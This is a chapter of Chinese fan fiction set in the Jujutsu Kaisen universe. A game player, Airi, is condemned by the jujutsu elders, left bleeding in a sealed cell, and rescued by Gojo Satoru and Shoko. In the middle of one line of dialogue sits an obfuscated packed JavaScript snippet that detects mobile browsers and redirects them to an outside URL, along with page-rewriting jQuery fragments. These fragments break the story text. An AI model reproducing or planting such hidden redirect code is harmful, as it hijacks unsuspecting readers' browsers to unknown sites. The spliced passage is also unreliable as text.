归谷村事件的判决落下,演变成了连夜蛾老师也无法控制的局面。
玩家第一次清晰的感知到这个游戏完整的世界观和权利构造,穿过幽暗的木长廊,昏黄的火光将廊柱的剪影扭曲,空气弥漫的尘埃都带着腐朽的气息,仿佛这里不是现代,是一千年前的平安京。
无人的屏风后传来的声音,空洞、威严,又带着不容置疑的独裁意味,
“佐月爱理!你的行动考虑过社会的稳定吗?!你知道那个村子里多少的普通人因为你的行为受伤了吗?”
爱理在现实社交里习惯做边缘人,她的情绪一直稳定,也很少真正发自内心的愤怒。
人为什么会愤怒?不能接受当前情况,想改变当前情况,却因自身力量不够,所以得用愤怒来增加力量,去企图改变现状。
如果按照这套标准,那此刻她并不愤怒,她只是平等的把咒术高专的所有高层一视同仁为傻逼罢了。
明明没有在现场,却畏惧到要她在门口上缴刀具。
明明有辅助监督提供的完整调查结果,但依旧以PUA的形式居高临下的审判她。
明明她三番两次禁足她都忍了。
这个世界当公务员的门槛都那么低吗?
难怪需要玩家称霸咒术界,原来这也她通关的一环吗?
那正确的解法她或许不应该去砍咒灵升级,应该先考个公务员?
“佐月爱理,你接受死刑的判决吗?”
面对高高在上口吻,爱理嘴角泄出一丝讥讽,她没有多言,只是用行动,给出回答。
“妈妈——”
空间骤然扭曲,浓稠如实质的黑影如同喷薄的墨汁,瞬间撕裂了周遭的空气,带着令人窒息的威压,笼罩了高专的整片天。
......
败北,也是意料之中的事情,哪怕反转术式没有失灵也一样。
但比起死刑,再背多一个不服判决也大差不差。
狭窄、密闭的房间,四面墙壁贴满了散发着诡异波动的咒文符纸,如同一个巨大的封印棺椁。她被捆绑在椅子上,试图调动咒力,无果。
滴答滴答声在寂静里回荡,滴落的血液在她脚边汇聚成一滩,她的腹部被咒术师的短镰切开了三分之一,都不用再给她使用特殊术式,再过个几分钟她HP归零就能自己死掉。
只有这一点是让爱理真的愤怒,他们摇咒术师锤她了,但居然不直接做掉她,非要走个小黑屋彰显虚伪的程序正义。
可恶高层老登,给她等着!
虽然愤怒,但她依旧面无表情。因为表情,也会浪费体力。
现在要把体力用以复盘这周目的失败。她最大的失误就是低估了咒术高层对妈妈的忌惮,但只要有五条悟【六眼】在,哪怕重来一次,她也没办法把妈妈完全隐藏起来,最后结局恐怕也一样。
或者直接放弃进入咒术高专,直接做个游离于体系之外的野生咒术师?只要不被夜蛾老师或高专的人发现,落地就偷偷练级,苟到满级再杀回来,把这群尸位素餐的老登全部物理清除,换上真正做事的实干派……
理论似乎可行,实践呢?她又能躲藏多久?成长需要多少时间?
胸腔倏地涌起咳嗽冲动,一口腥味争先恐后从口腔喷了出来,顺着嘴角滴下,她急促地呼吸了下。
她怀念随心所欲使用反转术式的时候,但也因此想起来一件事。
最初进入游戏,她被妈妈杀了很多回,系统给了重置身份的选项重开,可却让她损失了部分记忆。
全息游戏借助的脑机切入完成,但脑机这项技术投入使用才一年不到,咒术师游戏也是唯一一款她接触到的全息游戏。
安照这款不成熟的bug游戏推测,哪怕不重置身份,也要以玩家损失部分记忆为代价才能重开。
玩家尚且如此,NPC呢?
莫名一股焦躁感,爱理目无焦距地盯着地面出神。
重开是必然的结局,只是复活也不行,高层一样不会放过她。
滴答滴答.....
今天外面是晴天,石路边的树影青葱,天空是清澈的蓝,体训的时候还能闻到草坪混着泥土的青草味。
屋内墙面的烛光微晃,系统持续掉HP的提示音还在像倒计时一样寂静的响。
......不过是重头开始而已。
她一直都是这么过来的,自然也能一直这么下去。
腹部伤口剧痛的无法呼吸也无法思考,理不清的情绪还在叠加,她不是很懂,但她好像又要失去一些东西了。
有那么一刹那,她甚至感到了后悔,后悔刚才把妈妈叫出来的时候为什么没有抓住机会直接死在妈妈手下,那起码现在就不会思考这些东西了。
四方盒的房间里,时间变得缓慢,缓慢的像是永恒。
她垂着头,意识在剧痛与失血中不断沉沦,几乎陷入黑暗。
砰——!
一声震耳欲聋的巨响,厚重木门被一股巨大的力量猛地踹开了!
刺眼的亮光像洪水一样冲进这间死气沉沉的牢房,一下子赶走了黑暗和难闻的味道。外面新鲜的空气,带着青草和树木的味道涌了进来,冲击着爱理麻木的感官。
她被强光刺痛,吃力地抬起沉重的头颅。逆光中,一个高挑的身影收回长腿,姿态嚣张地站在那里,他的墨镜往下滑了一点,露出后面一双即使在阳光下也亮得惊人的蓝眼睛。
“哟~爱理酱~”那熟悉又有点欠扁的少年声音响起来,打破了让人窒息的安静,“你天下第一帅气的男朋友来救你啦!是不是等得急死了?英雄登场!感不感动?!”
光线太刺眼了,也许是某种压抑到极限的情绪终于绷不住了。她想把涌上来的眼泪连同嘴里残留的血腥味一起咽下去,好像这样就能吞掉这一刻的软弱。
“……”
她想骂他胡说八道,但失血过多让她发不出像样的声音,只能紧紧闭上嘴。
但门口那个人眼睛厉害,一下子就看到了她眼角那一闪而过、微小的水光。
他脸上开玩笑的笑容一下子敛了。墨镜后的目光锐利地扫过她苍白得像纸的脸、被血浸透的衣服,还有她身下那滩多得吓人、暗红色的血。那血比他想象的要多得多、深得多。
“喂,硝子!”五条悟猛地回头,声音里没了玩笑:“爱理酱快不行了,快来救命啊!”
“五条!闭上你的乌鸦嘴!”硝子紧跟着冲了进来,看到爱理的状态,眉头紧紧皱起,“里面封印咒力的术式太多了施展不开,把爱理挪到外面来,快!”
得救了
多亏了他们俩及时又默契的救治,爱理被硬生生从死亡线上拉了回来。
身体的剧痛被硝子的治疗能力抚平了,冰冷的手脚也慢慢暖和起来。她看着硝子疲惫但松了口气的脸,又看向靠在墙边、虽然恢复了插着口袋耍帅的姿势,但墨镜后的目光好像一直没离开过她的五条悟。
“为什么硝子……你们会在这里?”
硝子叹了口气,脸上带着疲惫和一丝后怕,“夜蛾老师那里听到你出事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023430|174852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就赶来了。脾气真倔啊爱理,居然跟他们硬碰硬。”
“有什么关系,反正不这样做,结果也一样。”五条悟抱着胳膊,嘴角勾起一抹毫不掩饰的讽刺弧度:“死刑死刑的挂嘴边,那个任务除了被风掀倒摔到屁股的蠢货村民之外谁死了?按照他们这个死刑标准,咒术师早就灭绝了。”
“总之,”硝子怕再说下去就收不住,也怕五条悟那张嘴又惹出什么麻烦,适时地转移话题,“你没事就好。对了,那个任务,夏油那边也吃了处分。”
爱理眼中困惑更深:“那些老登会好心不追究了?”
“哈!哪有那么便宜!”五条悟嗤笑一声:“是夜蛾老师豁出去老脸,做了你的担保人,跟那群老橘子皮据理力争才勉强压下去的,快说‘感谢肌肉脑教师大人救命之恩’吧!”
“别听他胡说,爱理。”硝子无奈地白了五条悟一眼,看向爱理时神情认真了许多,“夜蛾老师的担保是基础,但这还不足以完全平息事态。最重要的是……”她顿了顿,目光意有所指地瞥向旁边那个又开始推墨镜、一脸“快夸我”表情的白毛DK,“五条家出面了。”
爱理站起身,身体还有些虚弱,但脚步还算稳。
她下意识地想理清这复杂的局面,迈步朝教学楼方向走去。五条悟极其自然地插着兜,迈着长腿,不远不近地跟在她身后半步的位置。
硝子走在爱理另一侧,脸上露出一丝复杂又微妙的表情,像是在陈述一个既成事实,又像是在观察爱理的反应:“嗯。你现在,某种意义上,算是和五条家深度绑定了。”
她看了一眼五条悟,见后者正得意洋洋地推了推墨镜,没忍住恶作剧心起:“也就是说你现在是和这家伙在一条船上了。是五条家未来的‘未婚妻’大人了!”
“硝子!”五条悟不满地嚷嚷。
“开玩笑,”硝子很快笑道,“但是,担保人是五条家是真的哦。”
爱理垂下眼,不禁神色凝重地思忖,硝子和五条的态度都很轻描淡写,但她知道,事情绝对没有他们嘴上说的那么轻易。
她慢下脚步靠到五条悟的身侧:“为什么帮我?你是有什么事情是需要我帮你做的吗?”
世界的规则就是这样运作的,人为利益而聚,也为利益而散。
如果是他五条大少爷的举手之劳和施舍,姑且还能理解。但跟高层强行保下她,甚至做她担保人救明显已经超出了举手之劳要承担的风险,所以她不理解,他救自己对他有什么好处。
她实力财力身世都不如他,最多也就算是个认识不久的同学,不需要的人,是不惜这个代价都要救的吗?
“你在说什么啊,爱理酱。”白毛似乎非常不解的看着她:“本大爷想做的事情就做了啊,要什么特别的理由?”
爱理一震,她本能的抬眼看他,可他脸上分明是不掺任何杂质的纯粹。
似乎看出她的不解并想要加以嘲笑,他顶下墨镜冲她勾唇,苍蓝的眼眸似有华光流溢,双手习惯性插兜,笑容里却没有一丝一毫的虚伪。
爱理怔愣了一会,嘴角没忍住略微弯了弯。
她目光尽力保持停留在一成不变的蓝天上,很莫名其妙的开口:
“你知道,章鱼是什么样的生物吗?”
“啊...这个。”硝子思考了下:“传说有九个大脑三个心脏的海洋外星人?”
五条悟:“那是很厉害的意思?”
“不是”爱理用力打断:“那是只有人类七岁智商的意思!”
“你个土豆!”